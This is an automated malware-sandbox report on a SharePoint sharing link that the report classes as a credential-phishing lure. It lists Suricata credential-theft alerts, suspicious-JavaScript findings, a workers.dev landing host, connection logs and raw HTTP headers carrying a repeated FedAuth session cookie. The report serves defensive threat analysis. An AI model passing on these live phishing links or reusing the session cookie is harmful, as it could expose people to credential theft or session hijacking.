Create Interactive Tour

Windows Analysis Report
https://postureshift-my.sharepoint.com/:f:/p/securedocument/EtRlfSUr3KtLjXgAbIYheZQBZ7nG7Jc2JIN2pqruKYsodA?e=SjlcA6

Overview

General Information

Sample URL:	https://postureshift-my.sharepoint.com/:f:/p/securedocument/EtRlfSUr3KtLjXgAbIYheZQBZ7nG7Jc2JIN2pqruKYsodA?e=SjlcA6
Analysis ID:	1647217
Infos:

Detection

Score:	52
Range:	0 - 100
Confidence:	100%

Signatures

Suricata IDS alerts for network traffic

AI detected suspicious Javascript

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Creates files inside the system directory

Deletes files inside the Windows folder

Sample execution stops while process was sleeping (likely an evasion)

Classification

Process Tree

System is w10x64_ra

chrome.exe (PID: 6912 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank" MD5: E81F54E6C1129887AEA47E7D092680BF)

chrome.exe (PID: 7136 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --field-trial-handle=1976,i,18203183969828923320,17147673986862383966,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction --variations-seed-version --mojo-platform-channel-handle=2208 /prefetch:3 MD5: E81F54E6C1129887AEA47E7D092680BF)

chrome.exe (PID: 3452 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" "https://postureshift-my.sharepoint.com/:f:/p/securedocument/EtRlfSUr3KtLjXgAbIYheZQBZ7nG7Jc2JIN2pqruKYsodA?e=SjlcA6" MD5: E81F54E6C1129887AEA47E7D092680BF)

MpCmdRun.exe (PID: 7588 cmdline: "C:\Program Files\Windows Defender\mpcmdrun.exe" -wdenable MD5: B3676839B2EE96983F9ED735CD044159)

conhost.exe (PID: 6960 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cleanup

Suricata Signatures

ET PHISHING Generic Credential Phish Landing Page with Explicit Cloudflare Turnstile Rendering 2024-11-07

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-03-24T16:04:19.175447+0100	2057301	1	Successful Credential Theft Detected	104.21.57.209	443	192.168.2.16	49900	TCP
2025-03-24T16:04:21.823022+0100	2057301	1	Successful Credential Theft Detected	104.21.57.209	443	192.168.2.16	49899	TCP
2025-03-24T16:04:22.563819+0100	2057301	1	Successful Credential Theft Detected	104.21.57.209	443	192.168.2.16	49941	TCP
2025-03-24T16:04:40.875802+0100	2057301	1	Successful Credential Theft Detected	104.21.57.209	443	192.168.2.16	50067	TCP
2025-03-24T16:04:42.400000+0100	2057301	1	Successful Credential Theft Detected	104.21.57.209	443	192.168.2.16	50066	TCP
2025-03-24T16:04:42.961938+0100	2057301	1	Successful Credential Theft Detected	104.21.57.209	443	192.168.2.16	50082	TCP

Joe Sandbox Signatures

• Cryptography
• Phishing
• Compliance
• Networking
• System Summary
• Hooking and other Techniques for Hiding and Protection
• Malware Analysis System Evasion
• Lowering of HIPS / PFW / Operating System Security Settings

Click to jump to signature section

Show All Signature Results

Source: chromecache_1744.1.dr

Binary or memory string: const PUBLIC_KEY = `-----BEGIN PUBLIC KEY-----

memstr_f57f33a1-4

Phishing

AI detected suspicious Javascript

Source: 0.7..script.csv

Joe Sandbox AI: Detected suspicious JavaScript with source url: blob:https://postureshift-my.sharepoint.com/3a6601... This script demonstrates high-risk behaviors, including dynamic code execution via `eval()` and potential data exfiltration through the use of the `fetch()` API to an untrusted domain (`/_layouts/15/spwebworkerproxy.ashx`). The script also attempts to handle errors in a way that could lead to further issues. Overall, the combination of these factors suggests a high-risk script that requires further investigation.

Source: https://4be0ad37.9fa87d9d8ff47dcb27e11487.workers.dev/	HTTP Parser: No favicon
Source: https://4be0ad37.9fa87d9d8ff47dcb27e11487.workers.dev/	HTTP Parser: No favicon
Source: https://4be0ad37.9fa87d9d8ff47dcb27e11487.workers.dev/	HTTP Parser: No favicon

Source: unknown	HTTPS traffic detected: 13.107.136.10:443 -> 192.168.2.16:49698 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.136.10:443 -> 192.168.2.16:49700 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.136.10:443 -> 192.168.2.16:49699 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.138.10:443 -> 192.168.2.16:49719 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.251.40.164:443 -> 192.168.2.16:49732 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.55.243.83:443 -> 192.168.2.16:49736 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.209.72.206:443 -> 192.168.2.16:49794 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.6.163:443 -> 192.168.2.16:49797 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.6.163:443 -> 192.168.2.16:49820 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.57.209:443 -> 192.168.2.16:49900 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.57.209:443 -> 192.168.2.16:49899 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.18.94.41:443 -> 192.168.2.16:49907 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.18.94.41:443 -> 192.168.2.16:49921 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.99.26.178:443 -> 192.168.2.16:49917 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.18.95.41:443 -> 192.168.2.16:49936 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.57.209:443 -> 192.168.2.16:49941 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 52.98.34.194:443 -> 192.168.2.16:49938 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 52.108.42.38:443 -> 192.168.2.16:49954 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 52.108.42.38:443 -> 192.168.2.16:49968 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.6.163:443 -> 192.168.2.16:49995 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.6.163:443 -> 192.168.2.16:49999 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 141.11.210.112:443 -> 192.168.2.16:50019 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.55.243.72:443 -> 192.168.2.16:50191 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.55.243.72:443 -> 192.168.2.16:50192 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.50.53.232:443 -> 192.168.2.16:50198 version: TLS 1.2

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2057301 - Severity 1 - ET PHISHING Generic Credential Phish Landing Page with Explicit Cloudflare Turnstile Rendering 2024-11-07 : 104.21.57.209:443 -> 192.168.2.16:49900
Source: Network traffic	Suricata IDS: 2057301 - Severity 1 - ET PHISHING Generic Credential Phish Landing Page with Explicit Cloudflare Turnstile Rendering 2024-11-07 : 104.21.57.209:443 -> 192.168.2.16:49941
Source: Network traffic	Suricata IDS: 2057301 - Severity 1 - ET PHISHING Generic Credential Phish Landing Page with Explicit Cloudflare Turnstile Rendering 2024-11-07 : 104.21.57.209:443 -> 192.168.2.16:49899
Source: Network traffic	Suricata IDS: 2057301 - Severity 1 - ET PHISHING Generic Credential Phish Landing Page with Explicit Cloudflare Turnstile Rendering 2024-11-07 : 104.21.57.209:443 -> 192.168.2.16:50067
Source: Network traffic	Suricata IDS: 2057301 - Severity 1 - ET PHISHING Generic Credential Phish Landing Page with Explicit Cloudflare Turnstile Rendering 2024-11-07 : 104.21.57.209:443 -> 192.168.2.16:50066
Source: Network traffic	Suricata IDS: 2057301 - Severity 1 - ET PHISHING Generic Credential Phish Landing Page with Explicit Cloudflare Turnstile Rendering 2024-11-07 : 104.21.57.209:443 -> 192.168.2.16:50082

Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 52.182.143.211
Source: unknown	TCP traffic detected without corresponding DNS query: 52.182.143.211
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 52.182.143.211
Source: unknown	TCP traffic detected without corresponding DNS query: 52.182.143.211
Source: unknown	TCP traffic detected without corresponding DNS query: 52.182.143.211
Source: unknown	TCP traffic detected without corresponding DNS query: 52.182.143.211
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 52.182.143.211
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /:f:/p/securedocument/EtRlfSUr3KtLjXgAbIYheZQBZ7nG7Jc2JIN2pqruKYsodA?e=SjlcA6 HTTP/1.1Host: postureshift-my.sharepoint.comConnection: keep-alivesec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /personal/securedocument_postureshift_com/_layouts/15/onedrive.aspx?id=%2Fpersonal%2Fsecuredocument%5Fpostureshift%5Fcom%2FDocuments%2FSharePoint&ga=1 HTTP/1.1Host: postureshift-my.sharepoint.comConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentsec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: FedAuth=77u/PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0idXRmLTgiPz48U1A+VjEzLDBoLmZ8bWVtYmVyc2hpcHx1cm4lM2FzcG8lM2Fhbm9uI2FiOTE5YTY2MWI0YTVjNmU2ZWRiMjJiNWM1YWUwMTE4ZmY5ZWE5Y2ZkZDYzMTUwM2UwMzEwNmY4NWQ3ZThkYjYsMCMuZnxtZW1iZXJzaGlwfHVybiUzYXNwbyUzYWFub24jYWI5MTlhNjYxYjRhNWM2ZTZlZGIyMmI1YzVhZTAxMThmZjllYTljZmRkNjMxNTAzZTAzMTA2Zjg1ZDdlOGRiNiwxMzM4NzMwMjUzNjAwMDAwMDAsMCwxMzM4NzM4ODYzNjY2MTM5MjUsMC4wLjAuMCwyNTgsODFlNTAzMTItNzRjZi00YWM1LWIyMDUtMjExZTdjYmU1YWRkLCwsY2VhZWU5MTUtMzM0Mi00MDBkLTg5ZmItZDhlNjFmNDNiY2IwLGNlYWVlOTE1LTMzNDItNDAwZC04OWZiLWQ4ZTYxZjQzYmNiMCxwOWo3eWN2V0oweU9WU2hHbzdNMXlRLDAsMCwwLCwsLDI2NTA0Njc3NDM5OTk5OTk5OTksMCwsLCwsLCwwLCwxOTE3NTksTkxITm9QekJlYzNqTGxRc1NZb0w1UTFFZ2ZFLGx0K2NnOWN5NU9WNXd4K1YvaDlUSDRLaVlDYmpSQTh4bXZpdDZnRmh2L04rNVhCZDJWTUFTTHJoMTY1cXpBYUt3UXdMN21qdU9vaTQyaHFFTjg2UlZNVzZDQ05zTTJNNisxdFdPZ3FCdmRzSEZxVStGdDN4UkNXaTBzWXR6VVR4ZVRmTVV4WlA4WmFaS3d4OVlOUGxzbURUSFNXeXkva0d1cGtOcjU5M1R0RDRnSndSd1RSVzdIYnZEVjhxdVRRbFo4OG1FOWVveThoOStTNHBKWjhrQklXdTVJT016amhhb1VxNW9SRzh3ZFZBWER4akwrUTVGeFhpTy9ESUI1VzJIL05IWm5SdGYrSFB2NUtRV3VHUTloMFozUkFPZ1FWTGt3MXkzTE1kcXo1Vnhic29pRnRUd2tVSllWM0U5cStBQUdDTjVmZTZMK3hLYmZjaXlYRHdOQT09PC9TUD4=
Source: global traffic	HTTP traffic detected: GET /_layouts/15/spwebworkerproxy.ashx HTTP/1.1Host: postureshift-my.sharepoint.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: FedAuth=77u/PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0idXRmLTgiPz48U1A+VjEzLDBoLmZ8bWVtYmVyc2hpcHx1cm4lM2FzcG8lM2Fhbm9uI2FiOTE5YTY2MWI0YTVjNmU2ZWRiMjJiNWM1YWUwMTE4ZmY5ZWE5Y2ZkZDYzMTUwM2UwMzEwNmY4NWQ3ZThkYjYsMCMuZnxtZW1iZXJzaGlwfHVybiUzYXNwbyUzYWFub24jYWI5MTlhNjYxYjRhNWM2ZTZlZGIyMmI1YzVhZTAxMThmZjllYTljZmRkNjMxNTAzZTAzMTA2Zjg1ZDdlOGRiNiwxMzM4NzMwMjUzNjAwMDAwMDAsMCwxMzM4NzM4ODYzNjY2MTM5MjUsMC4wLjAuMCwyNTgsODFlNTAzMTItNzRjZi00YWM1LWIyMDUtMjExZTdjYmU1YWRkLCwsY2VhZWU5MTUtMzM0Mi00MDBkLTg5ZmItZDhlNjFmNDNiY2IwLGNlYWVlOTE1LTMzNDItNDAwZC04OWZiLWQ4ZTYxZjQzYmNiMCxwOWo3eWN2V0oweU9WU2hHbzdNMXlRLDAsMCwwLCwsLDI2NTA0Njc3NDM5OTk5OTk5OTksMCwsLCwsLCwwLCwxOTE3NTksTkxITm9QekJlYzNqTGxRc1NZb0w1UTFFZ2ZFLGx0K2NnOWN5NU9WNXd4K1YvaDlUSDRLaVlDYmpSQTh4bXZpdDZnRmh2L04rNVhCZDJWTUFTTHJoMTY1cXpBYUt3UXdMN21qdU9vaTQyaHFFTjg2UlZNVzZDQ05zTTJNNisxdFdPZ3FCdmRzSEZxVStGdDN4UkNXaTBzWXR6VVR4ZVRmTVV4WlA4WmFaS3d4OVlOUGxzbURUSFNXeXkva0d1cGtOcjU5M1R0RDRnSndSd1RSVzdIYnZEVjhxdVRRbFo4OG1FOWVveThoOStTNHBKWjhrQklXdTVJT016amhhb1VxNW9SRzh3ZFZBWER4akwrUTVGeFhpTy9ESUI1VzJIL05IWm5SdGYrSFB2NUtRV3VHUTloMFozUkFPZ1FWTGt3MXkzTE1kcXo1Vnhic29pRnRUd2tVSllWM0U5cStBQUdDTjVmZTZMK3hLYmZjaXlYRHdOQT09PC9TUD4=
Source: global traffic	HTTP traffic detected: GET /_layouts/15/spwebworkerproxy.ashx HTTP/1.1Host: postureshift-my.sharepoint.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: FedAuth=77u/PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0idXRmLTgiPz48U1A+VjEzLDBoLmZ8bWVtYmVyc2hpcHx1cm4lM2FzcG8lM2Fhbm9uI2FiOTE5YTY2MWI0YTVjNmU2ZWRiMjJiNWM1YWUwMTE4ZmY5ZWE5Y2ZkZDYzMTUwM2UwMzEwNmY4NWQ3ZThkYjYsMCMuZnxtZW1iZXJzaGlwfHVybiUzYXNwbyUzYWFub24jYWI5MTlhNjYxYjRhNWM2ZTZlZGIyMmI1YzVhZTAxMThmZjllYTljZmRkNjMxNTAzZTAzMTA2Zjg1ZDdlOGRiNiwxMzM4NzMwMjUzNjAwMDAwMDAsMCwxMzM4NzM4ODYzNjY2MTM5MjUsMC4wLjAuMCwyNTgsODFlNTAzMTItNzRjZi00YWM1LWIyMDUtMjExZTdjYmU1YWRkLCwsY2VhZWU5MTUtMzM0Mi00MDBkLTg5ZmItZDhlNjFmNDNiY2IwLGNlYWVlOTE1LTMzNDItNDAwZC04OWZiLWQ4ZTYxZjQzYmNiMCxwOWo3eWN2V0oweU9WU2hHbzdNMXlRLDAsMCwwLCwsLDI2NTA0Njc3NDM5OTk5OTk5OTksMCwsLCwsLCwwLCwxOTE3NTksTkxITm9QekJlYzNqTGxRc1NZb0w1UTFFZ2ZFLGx0K2NnOWN5NU9WNXd4K1YvaDlUSDRLaVlDYmpSQTh4bXZpdDZnRmh2L04rNVhCZDJWTUFTTHJoMTY1cXpBYUt3UXdMN21qdU9vaTQyaHFFTjg2UlZNVzZDQ05zTTJNNisxdFdPZ3FCdmRzSEZxVStGdDN4UkNXaTBzWXR6VVR4ZVRmTVV4WlA4WmFaS3d4OVlOUGxzbURUSFNXeXkva0d1cGtOcjU5M1R0RDRnSndSd1RSVzdIYnZEVjhxdVRRbFo4OG1FOWVveThoOStTNHBKWjhrQklXdTVJT016amhhb1VxNW9SRzh3ZFZBWER4akwrUTVGeFhpTy9ESUI1VzJIL05IWm5SdGYrSFB2NUtRV3VHUTloMFozUkFPZ1FWTGt3MXkzTE1kcXo1Vnhic29pRnRUd2tVSllWM0U5cStBQUdDTjVmZTZMK3hLYmZjaXlYRHdOQT09PC9TUD4=
Source: global traffic	HTTP traffic detected: GET /personal/securedocument_postureshift_com/_api/v2.1/graphql HTTP/1.1Host: postureshift-my.sharepoint.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: FedAuth=77u/PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0idXRmLTgiPz48U1A+VjEzLDBoLmZ8bWVtYmVyc2hpcHx1cm4lM2FzcG8lM2Fhbm9uI2FiOTE5YTY2MWI0YTVjNmU2ZWRiMjJiNWM1YWUwMTE4ZmY5ZWE5Y2ZkZDYzMTUwM2UwMzEwNmY4NWQ3ZThkYjYsMCMuZnxtZW1iZXJzaGlwfHVybiUzYXNwbyUzYWFub24jYWI5MTlhNjYxYjRhNWM2ZTZlZGIyMmI1YzVhZTAxMThmZjllYTljZmRkNjMxNTAzZTAzMTA2Zjg1ZDdlOGRiNiwxMzM4NzMwMjUzNjAwMDAwMDAsMCwxMzM4NzM4ODYzNjY2MTM5MjUsMC4wLjAuMCwyNTgsODFlNTAzMTItNzRjZi00YWM1LWIyMDUtMjExZTdjYmU1YWRkLCwsY2VhZWU5MTUtMzM0Mi00MDBkLTg5ZmItZDhlNjFmNDNiY2IwLGNlYWVlOTE1LTMzNDItNDAwZC04OWZiLWQ4ZTYxZjQzYmNiMCxwOWo3eWN2V0oweU9WU2hHbzdNMXlRLDAsMCwwLCwsLDI2NTA0Njc3NDM5OTk5OTk5OTksMCwsLCwsLCwwLCwxOTE3NTksTkxITm9QekJlYzNqTGxRc1NZb0w1UTFFZ2ZFLGx0K2NnOWN5NU9WNXd4K1YvaDlUSDRLaVlDYmpSQTh4bXZpdDZnRmh2L04rNVhCZDJWTUFTTHJoMTY1cXpBYUt3UXdMN21qdU9vaTQyaHFFTjg2UlZNVzZDQ05zTTJNNisxdFdPZ3FCdmRzSEZxVStGdDN4UkNXaTBzWXR6VVR4ZVRmTVV4WlA4WmFaS3d4OVlOUGxzbURUSFNXeXkva0d1cGtOcjU5M1R0RDRnSndSd1RSVzdIYnZEVjhxdVRRbFo4OG1FOWVveThoOStTNHBKWjhrQklXdTVJT016amhhb1VxNW9SRzh3ZFZBWER4akwrUTVGeFhpTy9ESUI1VzJIL05IWm5SdGYrSFB2NUtRV3VHUTloMFozUkFPZ1FWTGt3MXkzTE1kcXo1Vnhic29pRnRUd2tVSllWM0U5cStBQUdDTjVmZTZMK3hLYmZjaXlYRHdOQT09PC9TUD4=
Source: global traffic	HTTP traffic detected: GET /_layouts/15/images/BLANK.gif HTTP/1.1Host: postureshift-my.sharepoint.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://postureshift-my.sharepoint.com/personal/securedocument_postureshift_com/_layouts/15/onedrive.aspx?id=%2Fpersonal%2Fsecuredocument%5Fpostureshift%5Fcom%2FDocuments%2FSharePoint&ga=1Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: FedAuth=77u/PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0idXRmLTgiPz48U1A+VjEzLDBoLmZ8bWVtYmVyc2hpcHx1cm4lM2FzcG8lM2Fhbm9uI2FiOTE5YTY2MWI0YTVjNmU2ZWRiMjJiNWM1YWUwMTE4ZmY5ZWE5Y2ZkZDYzMTUwM2UwMzEwNmY4NWQ3ZThkYjYsMCMuZnxtZW1iZXJzaGlwfHVybiUzYXNwbyUzYWFub24jYWI5MTlhNjYxYjRhNWM2ZTZlZGIyMmI1YzVhZTAxMThmZjllYTljZmRkNjMxNTAzZTAzMTA2Zjg1ZDdlOGRiNiwxMzM4NzMwMjUzNjAwMDAwMDAsMCwxMzM4NzM4ODYzNjY2MTM5MjUsMC4wLjAuMCwyNTgsODFlNTAzMTItNzRjZi00YWM1LWIyMDUtMjExZTdjYmU1YWRkLCwsY2VhZWU5MTUtMzM0Mi00MDBkLTg5ZmItZDhlNjFmNDNiY2IwLGNlYWVlOTE1LTMzNDItNDAwZC04OWZiLWQ4ZTYxZjQzYmNiMCxwOWo3eWN2V0oweU9WU2hHbzdNMXlRLDAsMCwwLCwsLDI2NTA0Njc3NDM5OTk5OTk5OTksMCwsLCwsLCwwLCwxOTE3NTksTkxITm9QekJlYzNqTGxRc1NZb0w1UTFFZ2ZFLGx0K2NnOWN5NU9WNXd4K1YvaDlUSDRLaVlDYmpSQTh4bXZpdDZnRmh2L04rNVhCZDJWTUFTTHJoMTY1cXpBYUt3UXdMN21qdU9vaTQyaHFFTjg2UlZNVzZDQ05zTTJNNisxdFdPZ3FCdmRzSEZxVStGdDN4UkNXaTBzWXR6VVR4ZVRmTVV4WlA4WmFaS3d4OVlOUGxzbURUSFNXeXkva0d1cGtOcjU5M1R0RDRnSndSd1RSVzdIYnZEVjhxdVRRbFo4OG1FOWVveThoOStTNHBKWjhrQklXdTVJT016amhhb1VxNW9SRzh3ZFZBWER4akwrUTVGeFhpTy9ESUI1VzJIL05IWm5SdGYrSFB2NUtRV3VHUTloMFozUkFPZ1FWTGt3MXkzTE1kcXo1Vnhic29pRnRUd2tVSllWM0U5cStBQUdDTjVmZTZMK3hLYmZjaXlYRHdOQT09PC9TUD4=
Source: global traffic	HTTP traffic detected: GET /_layouts/15/images/BLANK.gif HTTP/1.1Host: postureshift-my.sharepoint.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: FedAuth=77u/PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0idXRmLTgiPz48U1A+VjEzLDBoLmZ8bWVtYmVyc2hpcHx1cm4lM2FzcG8lM2Fhbm9uI2FiOTE5YTY2MWI0YTVjNmU2ZWRiMjJiNWM1YWUwMTE4ZmY5ZWE5Y2ZkZDYzMTUwM2UwMzEwNmY4NWQ3ZThkYjYsMCMuZnxtZW1iZXJzaGlwfHVybiUzYXNwbyUzYWFub24jYWI5MTlhNjYxYjRhNWM2ZTZlZGIyMmI1YzVhZTAxMThmZjllYTljZmRkNjMxNTAzZTAzMTA2Zjg1ZDdlOGRiNiwxMzM4NzMwMjUzNjAwMDAwMDAsMCwxMzM4NzM4ODYzNjY2MTM5MjUsMC4wLjAuMCwyNTgsODFlNTAzMTItNzRjZi00YWM1LWIyMDUtMjExZTdjYmU1YWRkLCwsY2VhZWU5MTUtMzM0Mi00MDBkLTg5ZmItZDhlNjFmNDNiY2IwLGNlYWVlOTE1LTMzNDItNDAwZC04OWZiLWQ4ZTYxZjQzYmNiMCxwOWo3eWN2V0oweU9WU2hHbzdNMXlRLDAsMCwwLCwsLDI2NTA0Njc3NDM5OTk5OTk5OTksMCwsLCwsLCwwLCwxOTE3NTksTkxITm9QekJlYzNqTGxRc1NZb0w1UTFFZ2ZFLGx0K2NnOWN5NU9WNXd4K1YvaDlUSDRLaVlDYmpSQTh4bXZpdDZnRmh2L04rNVhCZDJWTUFTTHJoMTY1cXpBYUt3UXdMN21qdU9vaTQyaHFFTjg2UlZNVzZDQ05zTTJNNisxdFdPZ3FCdmRzSEZxVStGdDN4UkNXaTBzWXR6VVR4ZVRmTVV4WlA4WmFaS3d4OVlOUGxzbURUSFNXeXkva0d1cGtOcjU5M1R0RDRnSndSd1RSVzdIYnZEVjhxdVRRbFo4OG1FOWVveThoOStTNHBKWjhrQklXdTVJT016amhhb1VxNW9SRzh3ZFZBWER4akwrUTVGeFhpTy9ESUI1VzJIL05IWm5SdGYrSFB2NUtRV3VHUTloMFozUkFPZ1FWTGt3MXkzTE1kcXo1Vnhic29pRnRUd2tVSllWM0U5cStBQUdDTjVmZTZMK3hLYmZjaXlYRHdOQT09PC9TUD4=; FeatureOverrides_experiments=[]
